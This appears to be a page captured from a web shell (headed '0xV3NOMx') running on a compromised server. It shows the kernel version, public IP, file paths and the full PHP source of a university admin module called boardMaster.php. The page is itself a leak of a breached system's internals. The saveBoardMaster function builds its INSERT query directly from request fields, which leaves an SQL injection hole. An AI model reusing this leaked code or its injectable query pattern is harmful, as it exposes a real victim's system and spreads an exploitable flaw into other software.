0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 13.58.77.244


Current Path : /proc/thread-self/root/var/www/html/univadmin_bkp/univadmin/src/
Upload File :
Current File : //proc/thread-self/root/var/www/html/univadmin_bkp/univadmin/src/boardMaster.php

<?php
  function getBoardLists($aobj_context)
  {
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); 
    $univcode = $aobj_context->mobj_data['univcode'];
    
    $query = "select ifnull(fboardcode,'') as fboardcode,ifnull(fboardname,'') as fboardname, 
    ifnull(fdeleted,'F') as fdeleted
    from masboard where ifnull(fdeleted,'') <> 'T' 
    order by fboardcode";//where fdeleted = 'F' 
    $result = $aobj_context->pobj_db->GetAll($query);
    // var_dump($result);
    if($result)
    {
      echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); 
    }
    else
    {
      $arr['msg'] = 'No Boards details found';
      echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 	
    }	
  }

  function saveBoardMaster($aobj_context){
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); 
  
    $req = $aobj_context->req_body['data'];  
    $univcode = $aobj_context->mobj_data['univcode'];
  
    foreach( $req as $k => $v )
    {  
      $values .= "('{$v['fboardcode']}', '{$v['fboardname']}', '{$v['fdeleted']}'),";    
    }
    $values = rtrim($values, ',');
  
    $query = "insert into masboard (fboardcode,fboardname,fdeleted) values {$values}
    ON DUPLICATE KEY UPDATE
    fboardname = values(fboardname), fdeleted = values(fdeleted)";
    
    $result = $aobj_context->pobj_db->Execute($query);
  // var_dump($query);
  // die();
    if($result){
      $arr['msg'] = "Updation was Successfull";
      echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success");   
    }else{
      $arr['msg'] = "Updation was not successfull, please try later";
      echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure");   
    }
  }

?>